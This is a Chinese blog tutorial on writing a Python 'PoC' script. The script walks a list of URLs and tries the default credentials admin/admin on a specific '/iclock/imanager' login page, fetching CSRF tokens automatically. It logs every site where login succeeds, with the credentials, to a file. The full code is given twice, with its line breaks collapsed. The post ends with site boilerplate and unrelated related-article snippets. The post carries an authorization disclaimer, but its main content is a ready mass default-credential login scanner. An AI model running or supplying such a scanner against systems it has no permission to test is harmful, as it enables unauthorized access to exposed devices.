寒假学习第24天---PythonPoc基础编写(二)

提示:所分享内容仅用于每一个爱好者之间的技术讨论及教育目的,所有渗透及工具的使用都需获取授权,禁止用于违法途径,否则需自行承担,本作者不承担相应的后果。

文章目录

  • 前言
    • 一、 目标
    • 二、过程
      • 思路
      • 实践开始
    • 总结
    • 完整代码


前言

又来了哈,小六花祝你早日学习poc的编写,上一次的poc编写链接
链接


一、 目标

我们可以编写poc的脚本来验证一些简单的操作,今天我们来模拟登陆,如果登陆成功就写入一个文档里,方便我们后续的操作

二、过程

思路

我们想对一个网站进行登陆操作,肯定要获取它的服务器返回了什么东西,我们f12先抓个包,看请求了什么
在这里插入图片描述
有这些东西,username,password,logintype,csrfmiddlewaretoken,其中
csrfmiddlewaretoken,这个字段,每个网站都不一样,我们对每个网站都需要重新进行获取
服务器返回信息,这个解码就是对不起,你的用户名或密码错误,如果登陆成功 ret的字段会变成0,这样就简单了,我们直接让csrfmiddlewaretoken自动向网站获取,ret=0并且状态码为200(这里需要用json的编码)
在这里插入图片描述

实践开始

引用库

import requests
from bs4 import BeautifulSoup
from tqdm import tqdm  

requests:一个简单易用的HTTP库,用于发送HTTP请求。
BeautifulSoup:一个用于解析HTML和XML文档的库,可以从网页中提取数据。
tqdm:一个快速、可扩展的Python进度条库,可以在Python长循环中添加一个进度提示信息。

# 初始化会话
session = requests.Session()file_path = 'url.txt'
success_file_path = 'success_urls.txt'  # 成功登录信息将被记录到这个文件urls = []  # 存储所有URL
with open(file_path, 'r') as file:for line in file:urls.append(line.strip())

将session初始化,创建一个Session实例。Session对象允许你跨请求保持某些参数,比如cookies,即在同一个Session实例发出的所有请求之间保持cookies。
定义urls列表,将文件写入列表中,方便计数,展示进度
line.strip()去除前后文空格以及换行符

for url in tqdm(urls, desc="处理进度"):if not url.startswith("http"):url = "http://" + urllogin_url = url + "/accounts/login/?next=/iclock/imanager"  # 构造登录页面URL

desc="处理进度"设置了进度条的描述文字。

# 尝试获取登录页面以及CSRF tokentry:response = session.get(login_url, verify=False)soup = BeautifulSoup(response.text, 'html.parser')csrf_token = soup.find('input', attrs={'name': 'csrfmiddlewaretoken'})['value']except Exception as e:print(f'无法从{login_url}获取CSRF token: {e}')continue

获取csrfmiddlewaretoken的值

  # 准备请求头和数据headers = {"User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/121.0.0.0 Safari/537.36",}data = {"username": "admin","password": "admin","logintype": "user","csrfmiddlewaretoken": csrf_token  # 使用动态获取的CSRF token}

请求头的构造

   # 尝试登录try:response = session.post(login_url, headers=headers, data=data, verify=False)if response.status_code == 200:if response.text:try:response_data = response.json()if response_data.get('ret') == 0:print(f'URL: {url} - 登录成功: {response_data.get("message")}')with open(success_file_path, 'a') as success_file:success_file.write(f'URL: {url}\n账号: {data["username"]}\n密码: {data["password"]}\n\n')else:print(f'URL: {url} - 登录失败: {response_data.get("message")}')except ValueError as e:print(f'URL: {url} - 解析JSON失败: {e}')else:print(f'URL: {url} - 响应非JSON格式或为空')else:print(f'URL: {url} - 请求未成功,HTTP状态码: {response.status_code}')except Exception as e:print(f'URL: {url} - 请求失败: {e}')

使用POST方法,发送登录请求到登录页面。先检测网站是否能打开,再获取内容
根据响应状态码和响应内容判断登录是否成功。如果返回的是JSON格式且ret字段为0,则认为登录成功,并将成功的URL、用户名和密码写入success_urls.txt文件。
在这里插入图片描述
成功的话就写入success_urls.txt

在这里插入图片描述

总结

主要用于自动化测试网站的登录功能,特别是在有多个URL需要测试时,可以大大节省时间,不知不觉已经24天了,希望大家关注一下我,嘿嘿,六花祝你新年快乐

完整代码

import requests
from bs4 import BeautifulSoup
from tqdm import tqdm  # 导入tqdm# 初始化会话
session = requests.Session()file_path = 'url.txt'
success_file_path = 'success_urls.txt'  # 成功登录信息将被记录到这个文件urls = []  # 存储所有URL
with open(file_path, 'r') as file:for line in file:urls.append(line.strip())# 使用tqdm创建进度条
for url in tqdm(urls, desc="处理进度"):if not url.startswith("http"):url = "http://" + urllogin_url = url + "/accounts/login/?next=/iclock/imanager"  # 构造登录页面URL# 尝试获取登录页面以及CSRF tokentry:response = session.get(login_url, verify=False)soup = BeautifulSoup(response.text, 'html.parser')csrf_token = soup.find('input', attrs={'name': 'csrfmiddlewaretoken'})['value']except Exception as e:print(f'无法从{login_url}获取CSRF token: {e}')continue# 准备请求头和数据headers = {"User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/121.0.0.0 Safari/537.36",}data = {"username": "admin","password": "admin","logintype": "user","csrfmiddlewaretoken": csrf_token  # 使用动态获取的CSRF token}# 尝试登录try:response = session.post(login_url, headers=headers, data=data, verify=False)if response.status_code == 200:if response.text:try:response_data = response.json()if response_data.get('ret') == 0:print(f'URL: {url} - 登录成功: {response_data.get("message")}')with open(success_file_path, 'a') as success_file:success_file.write(f'URL: {url}\n账号: {data["username"]}\n密码: {data["password"]}\n\n')else:print(f'URL: {url} - 登录失败: {response_data.get("message")}')except ValueError as e:print(f'URL: {url} - 解析JSON失败: {e}')else:print(f'URL: {url} - 响应非JSON格式或为空')else:print(f'URL: {url} - 请求未成功,HTTP状态码: {response.status_code}')except Exception as e:print(f'URL: {url} - 请求失败: {e}')

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.hqwc.cn/news/453362.html

如若内容造成侵权/违法违规/事实不符,请联系编程知识网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

linux下的预编译、编译、汇编、连接,生成单独文件,感受编译过程

linux下的预编译、编译、汇编、连接,生成单独文件。首先需要确认系统安装了gcc编译器,输入gcc -v或者g -v,如果能看到版本号等信息就是已经存在了,如图(centos7): 然后随便vim产生一个.cpp文件&…

python Flask 写一个简易的 web 端上传文件程序 (附demo)

python Flask 写一个简易的 web 端上传文件程序 (附demo) 需求介绍核心代码: 文件结构前端文件后端文件 完整代码演示 需求 在当今数字化时代,文件上传需求日益普遍。无论是个人还是企业,都可能需要实现文件上传功能。…

图解支付-金融级密钥管理系统:构建支付系统的安全基石

经常在网上看到某某公司几千万的个人敏感信息被泄露,这要是放在持牌的支付公司,可能就是一个非常大的麻烦,不但会失去用户的信任,而且可能会被吊销牌照。而现实情况是很多公司的技术研发人员并没有足够深的安全架构经验来设计一套…

arcpy高德爬取路况信息数据json转shp

最近工作上遇到爬取的高德路况信息数据需要在地图上展示出来,由于json数据不具备直接可视化的能力,又联想到前两个月学习了一点点arcpy的知识,就花了一些时间去写了个代码,毕竟手动处理要了老命了。 1、json文件解读 json文件显…

机器学习的整个流程

机器学习的整个流程定义了数据科学团队执行以创建和交付机器学习模型的工作流。此外,机器学习流程还定义了团队如何协作合作,以创建最有用的预测模型。 机器学习high level的流程 机器学习流程的关键步骤包括问题探索(Problem Exploration&a…

vscode 无法远程连接waiting the server log

使用版本 报错信息 相关日志 [17:32:59.765] > Waiting for server log... [17:32:59.801] > Waiting for server log... [17:32:59.831] > > * > * Visual Studio Code Server > * > * By using the software, you agree to > * the Visual Studio…

vulhub中AppWeb认证绕过漏洞(CVE-2018-8715)

AppWeb是Embedthis Software LLC公司负责开发维护的一个基于GPL开源协议的嵌入式Web Server。他使用C/C来编写,能够运行在几乎先进所有流行的操作系统上。当然他最主要的应用场景还是为嵌入式设备提供Web Application容器。 AppWeb可以进行认证配置,其认…

RK3399平台开发系列讲解(内存篇)进程内存详解

🚀返回专栏总目录 文章目录 一、虚拟地址映射的物理内存1.1、物理内存1.2、虚拟内存1.2.1、用户态:低特权运行程序1.2.2、内核态:运行的程序需要访问操作系统内核数据二、PageCache三、指标查询命令沉淀、分享、成长,让自己和他人都能有所收获!😄 📢进程消耗的内存包…

详解洛谷P2912 [USACO08OCT] Pasture Walking G(牧场行走)(lca模板题)

题目 思路 一道模板题&#xff0c;没啥好说的&#xff0c;直接见代码 代码 #include <bits/stdc.h> using namespace std; int n,q,a,to[100001][22],b,deep[100001],c,t[1000001]; struct ff {int id,len; }; vector<ff> vec[100001]; void dfs(int x,int fa,i…

LeetCode:292.Nim 游戏

大一开学到现在&#xff0c;我不禁思考一个问题&#xff1a;代码重要吗&#xff1f; 我的答案是&#xff0c;根本不重要&#xff0c;或者说&#xff0c;是次要的。我认为分析问题&#xff0c;和画图是写题的开始&#xff0c;方法的学习&#xff0c;和灵活运用是目的。代码从来…

华为数通方向HCIP-DataCom H12-821题库(单选题:421-440)

第421题 以下关于IS-IS中路由器分类的描述,错误的是哪一项? A、Level-1路由器无法与Level-2路由器建立邻接关系 B、华为路由器上配置IS-IS时,缺省时,路由器全局Level为Level-1-2 C、Level-2的LSDB只包含Level-2路由器所在区域的路由信息 D、Level-1路由器可以和Level-1-2路…

如何在 iconfont 中使用彩色图标

新建彩色图标项目&#xff0c;在设置字体格式时选择【彩色】 如果需要项目支持彩色图标&#xff0c;则图标数不得超过40个&#xff0c;所以不修改原项目的项目配置&#xff0c;而是新建 引用方式按照普通图标形式引用即可&#xff0c;即使给图标设置了color也不会修改原图标…